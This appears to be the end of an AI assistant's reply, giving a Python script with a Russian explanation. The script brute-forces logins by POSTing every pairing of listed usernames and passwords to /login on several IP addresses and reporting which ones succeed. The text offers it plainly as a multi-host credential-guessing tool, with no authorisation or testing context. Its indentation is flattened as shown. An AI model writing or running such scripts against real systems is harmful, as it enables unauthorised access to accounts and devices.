import requests
logins = ['user1', 'user2', 'user3']
passwords = ['pass123', 'pass456', 'pass789']
ip_addresses = ['192.168.1.1', '192.168.1.2', '192.168.1.3']
for ip in ip_addresses:
for login in logins:
for password in passwords:
url = f'http://{ip}/login'
data = {'username': login, 'password': password}
response = requests.post(url, data=data)
if response.status_code == 200:
print(f'Successful login at {ip} with {login}:{password}')
break
```
В этой версии скрипта мы использовали циклы для перебора всех сочетаний логинов и паролей для каждого IP-адреса из массива. Теперь скрипт будет пытаться войти на каждый IP-адрес, используя разные логины и пароли из массивов `logins` и `passwords`.
Кроме того, мы использовали форматированную строку (f-strings) для создания URL с конкретным IP-адресом. Таким образом, скрипт становится более гибким и легче настраивается для различных сценариев использования.